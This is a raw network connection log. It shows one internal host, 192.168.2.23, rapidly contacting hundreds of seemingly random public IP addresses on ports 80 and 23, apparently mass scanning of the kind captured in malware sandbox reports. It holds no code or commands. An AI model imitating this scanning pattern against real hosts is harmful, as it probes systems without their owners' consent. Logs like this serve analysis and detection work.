Dec 3, 2024 23:16:45.887489080 CET	40596	80	192.168.2.23	103.96.125.227
Dec 3, 2024 23:16:45.887489080 CET	40596	80	192.168.2.23	36.189.97.92
Dec 3, 2024 23:16:45.887492895 CET	40596	80	192.168.2.23	36.122.17.33
Dec 3, 2024 23:16:45.887500048 CET	40596	80	192.168.2.23	78.60.173.86
Dec 3, 2024 23:16:45.887515068 CET	40596	80	192.168.2.23	145.235.122.239
Dec 3, 2024 23:16:45.887528896 CET	40596	80	192.168.2.23	213.183.146.136
Dec 3, 2024 23:16:45.887528896 CET	40596	80	192.168.2.23	107.23.219.13
Dec 3, 2024 23:16:45.887530088 CET	40596	80	192.168.2.23	184.33.144.118
Dec 3, 2024 23:16:45.887530088 CET	40596	80	192.168.2.23	140.154.118.224
Dec 3, 2024 23:16:45.887536049 CET	40596	80	192.168.2.23	129.124.93.13
Dec 3, 2024 23:16:45.887548923 CET	40596	80	192.168.2.23	140.234.93.176
Dec 3, 2024 23:16:45.887562037 CET	40596	80	192.168.2.23	77.199.84.197
Dec 3, 2024 23:16:45.887573004 CET	40596	80	192.168.2.23	90.124.40.141
Dec 3, 2024 23:16:45.887576103 CET	40596	80	192.168.2.23	186.25.23.102
Dec 3, 2024 23:16:45.887590885 CET	40596	80	192.168.2.23	211.61.62.86
Dec 3, 2024 23:16:45.887595892 CET	40596	80	192.168.2.23	58.233.52.91
Dec 3, 2024 23:16:45.887609959 CET	40596	80	192.168.2.23	112.182.114.182
Dec 3, 2024 23:16:45.887612104 CET	40596	80	192.168.2.23	66.7.150.72
Dec 3, 2024 23:16:45.887624979 CET	40596	80	192.168.2.23	53.10.71.84
Dec 3, 2024 23:16:45.887631893 CET	40596	80	192.168.2.23	32.162.197.250
Dec 3, 2024 23:16:45.887634993 CET	40596	80	192.168.2.23	103.38.51.75
Dec 3, 2024 23:16:45.887640953 CET	40596	80	192.168.2.23	89.65.53.28
Dec 3, 2024 23:16:45.887648106 CET	40596	80	192.168.2.23	109.211.121.160
Dec 3, 2024 23:16:45.887664080 CET	40596	80	192.168.2.23	129.239.201.108
Dec 3, 2024 23:16:45.887665987 CET	40596	80	192.168.2.23	78.201.216.46
Dec 3, 2024 23:16:45.887680054 CET	40596	80	192.168.2.23	170.90.198.213
Dec 3, 2024 23:16:45.887696028 CET	40596	80	192.168.2.23	73.245.200.217
Dec 3, 2024 23:16:45.887723923 CET	40596	80	192.168.2.23	27.36.170.72
Dec 3, 2024 23:16:45.887727022 CET	40596	80	192.168.2.23	5.1.135.113
Dec 3, 2024 23:16:45.887746096 CET	40596	80	192.168.2.23	210.200.86.54
Dec 3, 2024 23:16:45.887748003 CET	40596	80	192.168.2.23	164.98.157.239
Dec 3, 2024 23:16:45.887753963 CET	40596	80	192.168.2.23	63.249.219.76
Dec 3, 2024 23:16:45.887762070 CET	40596	80	192.168.2.23	120.143.70.35
Dec 3, 2024 23:16:45.887770891 CET	40596	80	192.168.2.23	91.21.209.182
Dec 3, 2024 23:16:45.887774944 CET	40596	80	192.168.2.23	203.153.226.45
Dec 3, 2024 23:16:45.887785912 CET	40596	80	192.168.2.23	91.79.233.79
Dec 3, 2024 23:16:45.887790918 CET	40596	80	192.168.2.23	138.196.44.11
Dec 3, 2024 23:16:45.887804985 CET	40596	80	192.168.2.23	73.230.191.24
Dec 3, 2024 23:16:45.887804985 CET	40596	80	192.168.2.23	152.221.126.59
Dec 3, 2024 23:16:45.887823105 CET	40596	80	192.168.2.23	92.212.89.122
Dec 3, 2024 23:16:45.887830973 CET	40596	80	192.168.2.23	65.98.70.204
Dec 3, 2024 23:16:45.887839079 CET	40596	80	192.168.2.23	199.64.27.192
Dec 3, 2024 23:16:45.887845993 CET	40596	80	192.168.2.23	9.196.8.241
Dec 3, 2024 23:16:45.887851000 CET	40596	80	192.168.2.23	43.79.130.59
Dec 3, 2024 23:16:45.887868881 CET	40596	80	192.168.2.23	62.222.112.157
Dec 3, 2024 23:16:45.887873888 CET	40596	80	192.168.2.23	183.205.90.188
Dec 3, 2024 23:16:45.887876034 CET	40596	80	192.168.2.23	165.157.25.72
Dec 3, 2024 23:16:45.887876987 CET	40596	80	192.168.2.23	75.144.65.130
Dec 3, 2024 23:16:45.887877941 CET	40596	80	192.168.2.23	38.55.129.246
Dec 3, 2024 23:16:45.887877941 CET	40596	80	192.168.2.23	181.208.219.131
Dec 3, 2024 23:16:45.887892008 CET	40596	80	192.168.2.23	25.165.253.78
Dec 3, 2024 23:16:45.887900114 CET	40596	80	192.168.2.23	136.242.79.155
Dec 3, 2024 23:16:45.887913942 CET	40596	80	192.168.2.23	14.144.120.125
Dec 3, 2024 23:16:45.887918949 CET	40596	80	192.168.2.23	5.105.207.57
Dec 3, 2024 23:16:45.887937069 CET	40596	80	192.168.2.23	92.28.178.47
Dec 3, 2024 23:16:45.887943983 CET	40596	80	192.168.2.23	36.238.6.48
Dec 3, 2024 23:16:45.887945890 CET	40596	80	192.168.2.23	87.117.167.129
Dec 3, 2024 23:16:45.887949944 CET	40596	80	192.168.2.23	169.95.143.149
Dec 3, 2024 23:16:45.887953043 CET	40596	80	192.168.2.23	65.162.146.54
Dec 3, 2024 23:16:45.887978077 CET	40596	80	192.168.2.23	86.153.238.10
Dec 3, 2024 23:16:45.887978077 CET	40596	80	192.168.2.23	213.103.114.66
Dec 3, 2024 23:16:45.887991905 CET	40596	80	192.168.2.23	141.246.247.14
Dec 3, 2024 23:16:45.887995005 CET	40596	80	192.168.2.23	119.156.144.180
Dec 3, 2024 23:16:45.888006926 CET	40596	80	192.168.2.23	50.247.247.137
Dec 3, 2024 23:16:45.888012886 CET	40596	80	192.168.2.23	2.118.223.54
Dec 3, 2024 23:16:45.888025999 CET	40596	80	192.168.2.23	67.76.40.28
Dec 3, 2024 23:16:45.888037920 CET	40596	80	192.168.2.23	183.149.193.231
Dec 3, 2024 23:16:45.888044119 CET	40596	80	192.168.2.23	95.222.132.131
Dec 3, 2024 23:16:45.888046980 CET	40596	80	192.168.2.23	202.24.142.5
Dec 3, 2024 23:16:45.888060093 CET	40596	80	192.168.2.23	80.207.27.253
Dec 3, 2024 23:16:45.888067007 CET	40596	80	192.168.2.23	183.142.154.109
Dec 3, 2024 23:16:45.888067007 CET	40596	80	192.168.2.23	184.236.143.4
Dec 3, 2024 23:16:45.888082981 CET	40596	80	192.168.2.23	101.116.79.240
Dec 3, 2024 23:16:45.888083935 CET	40596	80	192.168.2.23	141.231.52.56
Dec 3, 2024 23:16:45.888083935 CET	40596	80	192.168.2.23	197.30.1.194
Dec 3, 2024 23:16:45.888089895 CET	40596	80	192.168.2.23	82.144.218.55
Dec 3, 2024 23:16:45.888103962 CET	40596	80	192.168.2.23	205.248.60.170
Dec 3, 2024 23:16:45.888104916 CET	40596	80	192.168.2.23	94.96.216.142
Dec 3, 2024 23:16:45.888122082 CET	40596	80	192.168.2.23	78.233.168.176
Dec 3, 2024 23:16:45.888123035 CET	40596	80	192.168.2.23	42.74.64.71
Dec 3, 2024 23:16:45.888123989 CET	40596	80	192.168.2.23	1.71.17.147
Dec 3, 2024 23:16:45.888134956 CET	40596	80	192.168.2.23	110.215.174.177
Dec 3, 2024 23:16:45.888134956 CET	40596	80	192.168.2.23	113.253.104.43
Dec 3, 2024 23:16:45.888153076 CET	40596	80	192.168.2.23	98.16.185.119
Dec 3, 2024 23:16:45.888164997 CET	40596	80	192.168.2.23	99.132.28.127
Dec 3, 2024 23:16:45.888164997 CET	40596	80	192.168.2.23	220.34.152.191
Dec 3, 2024 23:16:45.888175011 CET	40596	80	192.168.2.23	95.191.143.72
Dec 3, 2024 23:16:45.888181925 CET	40596	80	192.168.2.23	161.69.100.59
Dec 3, 2024 23:16:45.888200045 CET	40596	80	192.168.2.23	83.141.195.90
Dec 3, 2024 23:16:45.888200998 CET	40596	80	192.168.2.23	32.85.178.133
Dec 3, 2024 23:16:45.888215065 CET	40596	80	192.168.2.23	133.120.65.212
Dec 3, 2024 23:16:45.888220072 CET	40596	80	192.168.2.23	88.120.17.161
Dec 3, 2024 23:16:45.888223886 CET	40596	80	192.168.2.23	153.171.160.31
Dec 3, 2024 23:16:45.888236046 CET	40596	80	192.168.2.23	163.147.209.4
Dec 3, 2024 23:16:45.888236046 CET	40596	80	192.168.2.23	178.180.102.38
Dec 3, 2024 23:16:45.888257027 CET	40596	80	192.168.2.23	203.130.28.85
Dec 3, 2024 23:16:45.888257027 CET	40596	80	192.168.2.23	210.104.23.123
Dec 3, 2024 23:16:45.888271093 CET	40596	80	192.168.2.23	110.162.24.129
Dec 3, 2024 23:16:45.888282061 CET	40596	80	192.168.2.23	67.201.66.51
Dec 3, 2024 23:16:45.888284922 CET	40596	80	192.168.2.23	180.226.246.106
Dec 3, 2024 23:16:45.888298035 CET	40596	80	192.168.2.23	73.75.128.70
Dec 3, 2024 23:16:45.888303995 CET	40596	80	192.168.2.23	83.127.22.124
Dec 3, 2024 23:16:45.888312101 CET	40596	80	192.168.2.23	179.17.223.55
Dec 3, 2024 23:16:45.888319016 CET	40596	80	192.168.2.23	190.176.103.31
Dec 3, 2024 23:16:45.888319016 CET	40596	80	192.168.2.23	87.164.125.94
Dec 3, 2024 23:16:45.888319016 CET	40596	80	192.168.2.23	60.218.190.100
Dec 3, 2024 23:16:45.888319016 CET	40596	80	192.168.2.23	4.144.217.238
Dec 3, 2024 23:16:45.888341904 CET	40596	80	192.168.2.23	23.90.38.100
Dec 3, 2024 23:16:45.888349056 CET	40596	80	192.168.2.23	154.50.119.28
Dec 3, 2024 23:16:45.888350964 CET	40596	80	192.168.2.23	46.143.114.48
Dec 3, 2024 23:16:45.888355970 CET	40596	80	192.168.2.23	141.136.184.102
Dec 3, 2024 23:16:45.888362885 CET	40596	80	192.168.2.23	140.181.245.243
Dec 3, 2024 23:16:45.888377905 CET	40596	80	192.168.2.23	195.33.185.34
Dec 3, 2024 23:16:45.888384104 CET	40596	80	192.168.2.23	103.65.60.249
Dec 3, 2024 23:16:45.888402939 CET	40596	80	192.168.2.23	180.239.83.171
Dec 3, 2024 23:16:45.888406038 CET	40596	80	192.168.2.23	153.120.151.198
Dec 3, 2024 23:16:45.888406038 CET	40596	80	192.168.2.23	83.74.243.201
Dec 3, 2024 23:16:45.888416052 CET	40596	80	192.168.2.23	160.179.78.37
Dec 3, 2024 23:16:45.888431072 CET	40596	80	192.168.2.23	174.92.161.200
Dec 3, 2024 23:16:45.888432026 CET	40596	80	192.168.2.23	166.187.134.35
Dec 3, 2024 23:16:45.888451099 CET	40596	80	192.168.2.23	164.18.119.132
Dec 3, 2024 23:16:45.888453007 CET	40596	80	192.168.2.23	37.23.1.183
Dec 3, 2024 23:16:45.888456106 CET	40596	80	192.168.2.23	196.1.63.70
Dec 3, 2024 23:16:45.888456106 CET	40596	80	192.168.2.23	66.211.39.207
Dec 3, 2024 23:16:45.888467073 CET	40596	80	192.168.2.23	35.119.36.140
Dec 3, 2024 23:16:45.888467073 CET	40596	80	192.168.2.23	222.109.185.30
Dec 3, 2024 23:16:45.888480902 CET	40596	80	192.168.2.23	70.21.54.157
Dec 3, 2024 23:16:45.888494968 CET	40596	80	192.168.2.23	212.163.88.91
Dec 3, 2024 23:16:45.888500929 CET	40596	80	192.168.2.23	213.43.51.58
Dec 3, 2024 23:16:45.888510942 CET	40596	80	192.168.2.23	170.179.68.242
Dec 3, 2024 23:16:45.888514042 CET	40596	80	192.168.2.23	164.156.225.143
Dec 3, 2024 23:16:45.888520956 CET	40596	80	192.168.2.23	116.29.141.91
Dec 3, 2024 23:16:45.888536930 CET	40596	80	192.168.2.23	5.12.175.253
Dec 3, 2024 23:16:45.888537884 CET	40596	80	192.168.2.23	133.79.193.113
Dec 3, 2024 23:16:45.888546944 CET	40596	80	192.168.2.23	126.46.70.207
Dec 3, 2024 23:16:45.888552904 CET	40596	80	192.168.2.23	60.240.18.82
Dec 3, 2024 23:16:45.888569117 CET	40596	80	192.168.2.23	54.78.153.128
Dec 3, 2024 23:16:45.888571024 CET	40596	80	192.168.2.23	94.43.7.38
Dec 3, 2024 23:16:45.888587952 CET	40596	80	192.168.2.23	134.210.22.179
Dec 3, 2024 23:16:45.888591051 CET	40596	80	192.168.2.23	115.92.251.71
Dec 3, 2024 23:16:45.888607979 CET	40596	80	192.168.2.23	81.102.149.198
Dec 3, 2024 23:16:45.888612032 CET	40596	80	192.168.2.23	167.85.43.26
Dec 3, 2024 23:16:45.888614893 CET	40596	80	192.168.2.23	2.28.177.169
Dec 3, 2024 23:16:45.888628960 CET	40596	80	192.168.2.23	204.211.42.84
Dec 3, 2024 23:16:45.888644934 CET	40596	80	192.168.2.23	9.18.12.161
Dec 3, 2024 23:16:45.888645887 CET	40596	80	192.168.2.23	83.0.153.97
Dec 3, 2024 23:16:45.888664007 CET	40596	80	192.168.2.23	54.224.207.20
Dec 3, 2024 23:16:45.888667107 CET	40596	80	192.168.2.23	194.199.94.123
Dec 3, 2024 23:16:45.888680935 CET	40596	80	192.168.2.23	71.74.18.232
Dec 3, 2024 23:16:45.888684034 CET	40596	80	192.168.2.23	95.194.232.199
Dec 3, 2024 23:16:45.888698101 CET	40596	80	192.168.2.23	221.199.254.225
Dec 3, 2024 23:16:45.888700008 CET	40596	80	192.168.2.23	101.176.162.155
Dec 3, 2024 23:16:45.888719082 CET	40596	80	192.168.2.23	157.172.22.26
Dec 3, 2024 23:16:45.888721943 CET	40596	80	192.168.2.23	198.102.168.220
Dec 3, 2024 23:16:45.888734102 CET	40596	80	192.168.2.23	96.171.29.140
Dec 3, 2024 23:16:45.888734102 CET	40596	80	192.168.2.23	67.181.50.1
Dec 3, 2024 23:16:45.888751030 CET	40596	80	192.168.2.23	36.180.199.247
Dec 3, 2024 23:16:45.888820887 CET	57252	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:45.888834953 CET	52906	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:45.915810108 CET	80	55966	9.156.190.104	192.168.2.23
Dec 3, 2024 23:16:45.915883064 CET	55966	80	192.168.2.23	9.156.190.104
Dec 3, 2024 23:16:45.923908949 CET	80	34724	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:45.931967974 CET	80	52898	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:45.931978941 CET	80	57244	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:46.010755062 CET	80	40596	111.129.118.141	192.168.2.23
Dec 3, 2024 23:16:46.010773897 CET	80	40596	49.188.188.233	192.168.2.23
Dec 3, 2024 23:16:46.010783911 CET	80	40596	97.41.29.227	192.168.2.23
Dec 3, 2024 23:16:46.010802031 CET	80	40596	110.77.100.173	192.168.2.23
Dec 3, 2024 23:16:46.010821104 CET	80	40596	37.79.12.216	192.168.2.23
Dec 3, 2024 23:16:46.010869980 CET	80	40596	13.3.191.55	192.168.2.23
Dec 3, 2024 23:16:46.010880947 CET	80	40596	107.26.129.146	192.168.2.23
Dec 3, 2024 23:16:46.010895967 CET	80	40596	160.108.6.246	192.168.2.23
Dec 3, 2024 23:16:46.010905981 CET	80	40596	105.92.24.72	192.168.2.23
Dec 3, 2024 23:16:46.010915041 CET	40596	80	192.168.2.23	97.41.29.227
Dec 3, 2024 23:16:46.010915041 CET	40596	80	192.168.2.23	110.77.100.173
Dec 3, 2024 23:16:46.010915995 CET	40596	80	192.168.2.23	49.188.188.233
Dec 3, 2024 23:16:46.010916948 CET	40596	80	192.168.2.23	37.79.12.216
Dec 3, 2024 23:16:46.010919094 CET	40596	80	192.168.2.23	111.129.118.141
Dec 3, 2024 23:16:46.010927916 CET	40596	80	192.168.2.23	13.3.191.55
Dec 3, 2024 23:16:46.010927916 CET	40596	80	192.168.2.23	107.26.129.146
Dec 3, 2024 23:16:46.010927916 CET	40596	80	192.168.2.23	160.108.6.246
Dec 3, 2024 23:16:46.010940075 CET	40596	80	192.168.2.23	105.92.24.72
Dec 3, 2024 23:16:46.011075974 CET	80	40596	53.125.178.189	192.168.2.23
Dec 3, 2024 23:16:46.011085987 CET	80	40596	194.223.37.30	192.168.2.23
Dec 3, 2024 23:16:46.011095047 CET	80	34732	175.139.215.108	192.168.2.23
Dec 3, 2024 23:16:46.011104107 CET	80	40596	186.45.45.229	192.168.2.23
Dec 3, 2024 23:16:46.011113882 CET	80	40596	108.165.135.39	192.168.2.23
Dec 3, 2024 23:16:46.011112928 CET	40596	80	192.168.2.23	53.125.178.189
Dec 3, 2024 23:16:46.011122942 CET	80	40596	75.96.152.124	192.168.2.23
Dec 3, 2024 23:16:46.011133909 CET	80	40596	88.109.144.121	192.168.2.23
Dec 3, 2024 23:16:46.011133909 CET	40596	80	192.168.2.23	194.223.37.30
Dec 3, 2024 23:16:46.011133909 CET	34732	80	192.168.2.23	175.139.215.108
Dec 3, 2024 23:16:46.011143923 CET	40596	80	192.168.2.23	186.45.45.229
Dec 3, 2024 23:16:46.011143923 CET	40596	80	192.168.2.23	108.165.135.39
Dec 3, 2024 23:16:46.011143923 CET	80	40596	107.254.158.162	192.168.2.23
Dec 3, 2024 23:16:46.011154890 CET	80	40596	192.62.46.240	192.168.2.23
Dec 3, 2024 23:16:46.011161089 CET	40596	80	192.168.2.23	88.109.144.121
Dec 3, 2024 23:16:46.011162996 CET	40596	80	192.168.2.23	75.96.152.124
Dec 3, 2024 23:16:46.011164904 CET	80	40596	116.59.162.85	192.168.2.23
Dec 3, 2024 23:16:46.011176109 CET	80	40596	177.95.70.145	192.168.2.23
Dec 3, 2024 23:16:46.011182070 CET	40596	80	192.168.2.23	107.254.158.162
Dec 3, 2024 23:16:46.011185884 CET	40596	80	192.168.2.23	192.62.46.240
Dec 3, 2024 23:16:46.011185884 CET	80	40596	181.16.202.67	192.168.2.23
Dec 3, 2024 23:16:46.011195898 CET	80	40596	126.128.117.174	192.168.2.23
Dec 3, 2024 23:16:46.011200905 CET	40596	80	192.168.2.23	116.59.162.85
Dec 3, 2024 23:16:46.011215925 CET	40596	80	192.168.2.23	177.95.70.145
Dec 3, 2024 23:16:46.011219978 CET	40596	80	192.168.2.23	181.16.202.67
Dec 3, 2024 23:16:46.011219978 CET	40596	80	192.168.2.23	126.128.117.174
Dec 3, 2024 23:16:46.012594938 CET	80	57252	220.191.45.226	192.168.2.23
Dec 3, 2024 23:16:46.012634039 CET	80	52906	52.109.45.182	192.168.2.23
Dec 3, 2024 23:16:46.012638092 CET	57252	80	192.168.2.23	220.191.45.226
Dec 3, 2024 23:16:46.012672901 CET	52906	80	192.168.2.23	52.109.45.182
Dec 3, 2024 23:16:46.386852980 CET	40602	23	192.168.2.23	47.117.159.86
Dec 3, 2024 23:16:46.386854887 CET	40602	23	192.168.2.23	50.186.10.186
Dec 3, 2024 23:16:46.386854887 CET	40602	23	192.168.2.23	223.96.186.59
Dec 3, 2024 23:16:46.386857033 CET	40602	23	192.168.2.23	123.181.30.99
Dec 3, 2024 23:16:46.386867046 CET	40602	23	192.168.2.23	123.252.231.217
Dec 3, 2024 23:16:46.386873007 CET	40602	23	192.168.2.23	199.238.183.81
Dec 3, 2024 23:16:46.386887074 CET	40602	23	192.168.2.23	147.242.5.133
Dec 3, 2024 23:16:46.386895895 CET	40602	23	192.168.2.23	161.152.46.196
Dec 3, 2024 23:16:46.386895895 CET	40602	23	192.168.2.23	108.44.48.114
Dec 3, 2024 23:16:46.386895895 CET	40602	23	192.168.2.23	40.109.90.228
Dec 3, 2024 23:16:46.386903048 CET	40602	23	192.168.2.23	198.189.113.143
Dec 3, 2024 23:16:46.386913061 CET	40602	23	192.168.2.23	150.173.229.11
Dec 3, 2024 23:16:46.386913061 CET	40602	23	192.168.2.23	158.85.95.150
Dec 3, 2024 23:16:46.386920929 CET	40602	23	192.168.2.23	51.132.249.56
Dec 3, 2024 23:16:46.386924028 CET	40602	23	192.168.2.23	151.240.39.152
Dec 3, 2024 23:16:46.386936903 CET	40602	23	192.168.2.23	133.111.104.194
Dec 3, 2024 23:16:46.386938095 CET	40602	23	192.168.2.23	40.155.36.84
Dec 3, 2024 23:16:46.386944056 CET	40602	23	192.168.2.23	82.88.141.198
Dec 3, 2024 23:16:46.386944056 CET	40602	23	192.168.2.23	208.194.164.70
Dec 3, 2024 23:16:46.386950970 CET	40602	23	192.168.2.23	82.205.195.109
Dec 3, 2024 23:16:46.386967897 CET	40602	23	192.168.2.23	99.183.248.196
Dec 3, 2024 23:16:46.386967897 CET	40602	23	192.168.2.23	57.17.77.51
Dec 3, 2024 23:16:46.386969090 CET	40602	23	192.168.2.23	220.222.86.116
Dec 3, 2024 23:16:46.386976957 CET	40602	23	192.168.2.23	205.114.36.151
Dec 3, 2024 23:16:46.386977911 CET	40602	23	192.168.2.23	23.191.150.65
Dec 3, 2024 23:16:46.386977911 CET	40602	23	192.168.2.23	189.231.50.87
Dec 3, 2024 23:16:46.386977911 CET	40602	23	192.168.2.23	64.16.22.181
Dec 3, 2024 23:16:46.386981964 CET	40602	23	192.168.2.23	48.92.44.82
Dec 3, 2024 23:16:46.386997938 CET	40602	23	192.168.2.23	4.181.235.234
Dec 3, 2024 23:16:46.386997938 CET	40602	23	192.168.2.23	206.181.41.37
Dec 3, 2024 23:16:46.387007952 CET	40602	23	192.168.2.23	178.162.72.43
Dec 3, 2024 23:16:46.387010098 CET	40602	23	192.168.2.23	77.112.247.243
Dec 3, 2024 23:16:46.387010098 CET	40602	23	192.168.2.23	65.86.58.226
Dec 3, 2024 23:16:46.387012959 CET	40602	23	192.168.2.23	113.40.76.240
Dec 3, 2024 23:16:46.387025118 CET	40602	23	192.168.2.23	183.133.122.5
Dec 3, 2024 23:16:46.387026072 CET	40602	23	192.168.2.23	20.206.54.166
Dec 3, 2024 23:16:46.387031078 CET	40602	23	192.168.2.23	53.69.255.214
Dec 3, 2024 23:16:46.387031078 CET	40602	23	192.168.2.23	178.31.253.80
Dec 3, 2024 23:16:46.387032032 CET	40602	23	192.168.2.23	131.79.78.52
Dec 3, 2024 23:16:46.387031078 CET	40602	23	192.168.2.23	212.140.111.119
Dec 3, 2024 23:16:46.387044907 CET	40602	23	192.168.2.23	14.3.188.11
Dec 3, 2024 23:16:46.387056112 CET	40602	23	192.168.2.23	199.216.131.248
Dec 3, 2024 23:16:46.387059927 CET	40602	23	192.168.2.23	129.96.32.114
Dec 3, 2024 23:16:46.387063026 CET	40602	23	192.168.2.23	4.185.189.239
Dec 3, 2024 23:16:46.387104034 CET	40602	23	192.168.2.23	191.103.34.9
Dec 3, 2024 23:16:46.387104034 CET	40602	23	192.168.2.23	25.98.126.63
Dec 3, 2024 23:16:46.387104034 CET	40602	23	192.168.2.23	163.81.23.79
Dec 3, 2024 23:16:46.387105942 CET	40602	23	192.168.2.23	193.234.170.22
Dec 3, 2024 23:16:46.387144089 CET	40602	23	192.168.2.23	93.130.183.12
Dec 3, 2024 23:16:46.387144089 CET	40602	23	192.168.2.23	86.71.86.232
Dec 3, 2024 23:16:46.387147903 CET	40602	23	192.168.2.23	24.218.6.228
Dec 3, 2024 23:16:46.387149096 CET	40602	23	192.168.2.23	150.192.227.174
Dec 3, 2024 23:16:46.387147903 CET	40602	23	192.168.2.23	149.109.6.126
Dec 3, 2024 23:16:46.387149096 CET	40602	23	192.168.2.23	14.82.226.30
Dec 3, 2024 23:16:46.387151003 CET	40602	23	192.168.2.23	96.242.210.237
Dec 3, 2024 23:16:46.387150049 CET	40602	23	192.168.2.23	70.25.216.49
Dec 3, 2024 23:16:46.387151003 CET	40602	23	192.168.2.23	32.68.34.237
Dec 3, 2024 23:16:46.387150049 CET	40602	23	192.168.2.23	123.140.161.216
Dec 3, 2024 23:16:46.387151003 CET	40602	23	192.168.2.23	206.63.75.122
Dec 3, 2024 23:16:46.387147903 CET	40602	23	192.168.2.23	176.245.182.108
Dec 3, 2024 23:16:46.387156963 CET	40602	23	192.168.2.23	24.85.178.25
Dec 3, 2024 23:16:46.387157917 CET	40602	23	192.168.2.23	161.154.240.177
Dec 3, 2024 23:16:46.387156963 CET	40602	23	192.168.2.23	84.17.185.75
Dec 3, 2024 23:16:46.387156963 CET	40602	23	192.168.2.23	151.90.150.30
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	100.177.187.206
Dec 3, 2024 23:16:46.387190104 CET	40602	23	192.168.2.23	111.221.230.131
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	148.52.234.29
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	135.205.44.218
Dec 3, 2024 23:16:46.387190104 CET	40602	23	192.168.2.23	115.82.55.220
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	13.32.3.222
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	143.241.151.249
Dec 3, 2024 23:16:46.387193918 CET	40602	23	192.168.2.23	154.236.204.128
Dec 3, 2024 23:16:46.387196064 CET	40602	23	192.168.2.23	223.81.91.36
Dec 3, 2024 23:16:46.387193918 CET	40602	23	192.168.2.23	191.97.187.8
Dec 3, 2024 23:16:46.387196064 CET	40602	23	192.168.2.23	99.7.227.20
Dec 3, 2024 23:16:46.387190104 CET	40602	23	192.168.2.23	219.133.98.212
Dec 3, 2024 23:16:46.387196064 CET	40602	23	192.168.2.23	135.19.197.149
Dec 3, 2024 23:16:46.387193918 CET	40602	23	192.168.2.23	135.168.15.182
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	84.87.60.187
Dec 3, 2024 23:16:46.387193918 CET	40602	23	192.168.2.23	140.149.48.145
Dec 3, 2024 23:16:46.387191057 CET	40602	23	192.168.2.23	213.186.31.213
Dec 3, 2024 23:16:46.387193918 CET	40602	23	192.168.2.23	207.183.146.246
Dec 3, 2024 23:16:46.387197018 CET	40602	23	192.168.2.23	204.136.237.58
Dec 3, 2024 23:16:46.387197018 CET	40602	23	192.168.2.23	142.96.10.74
Dec 3, 2024 23:16:46.387197018 CET	40602	23	192.168.2.23	94.118.93.59
Dec 3, 2024 23:16:46.387197018 CET	40602	23	192.168.2.23	77.212.67.229
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	80.143.34.126
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	177.100.221.171
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	135.99.195.76
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	80.55.126.102
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	136.66.201.108
Dec 3, 2024 23:16:46.387238979 CET	40602	23	192.168.2.23	219.71.126.206
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	36.240.218.221
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	87.20.150.141
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	122.243.137.99
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	102.56.86.97
Dec 3, 2024 23:16:46.387243986 CET	40602	23	192.168.2.23	184.87.153.106
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	183.251.179.137
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	200.23.145.198
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	14.242.209.28
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	112.70.17.34
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	138.204.131.57
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	152.116.241.172
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	183.155.203.225
Dec 3, 2024 23:16:46.387243032 CET	40602	23	192.168.2.23	192.30.153.188
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	108.88.133.230
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	155.220.193.56
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	101.106.151.81
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	135.97.40.248
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	83.9.149.72
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	168.135.39.118
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	123.8.228.153
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	45.118.255.129
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	13.190.227.87
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	155.137.67.42
Dec 3, 2024 23:16:46.387244940 CET	40602	23	192.168.2.23	151.152.117.67
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	177.123.244.62
Dec 3, 2024 23:16:46.387245893 CET	40602	23	192.168.2.23	77.69.227.167
Dec 3, 2024 23:16:46.387280941 CET	40602	23	192.168.2.23	221.166.226.54
Dec 3, 2024 23:16:46.387280941 CET	40602	23	192.168.2.23	203.171.54.114
Dec 3, 2024 23:16:46.387280941 CET	40602	23	192.168.2.23	91.232.201.189
Dec 3, 2024 23:16:46.387280941 CET	40602	23	192.168.2.23	187.202.109.24
Dec 3, 2024 23:16:46.387284994 CET	40602	23	192.168.2.23	205.206.23.194
Dec 3, 2024 23:16:46.387284994 CET	40602	23	192.168.2.23	157.128.97.77
Dec 3, 2024 23:16:46.387284994 CET	40602	23	192.168.2.23	97.38.27.242
Dec 3, 2024 23:16:46.387284994 CET	40602	23	192.168.2.23	38.199.113.166
Dec 3, 2024 23:16:46.387288094 CET	40602	23	192.168.2.23	139.80.209.186
Dec 3, 2024 23:16:46.387288094 CET	40602	23	192.168.2.23	105.202.121.123
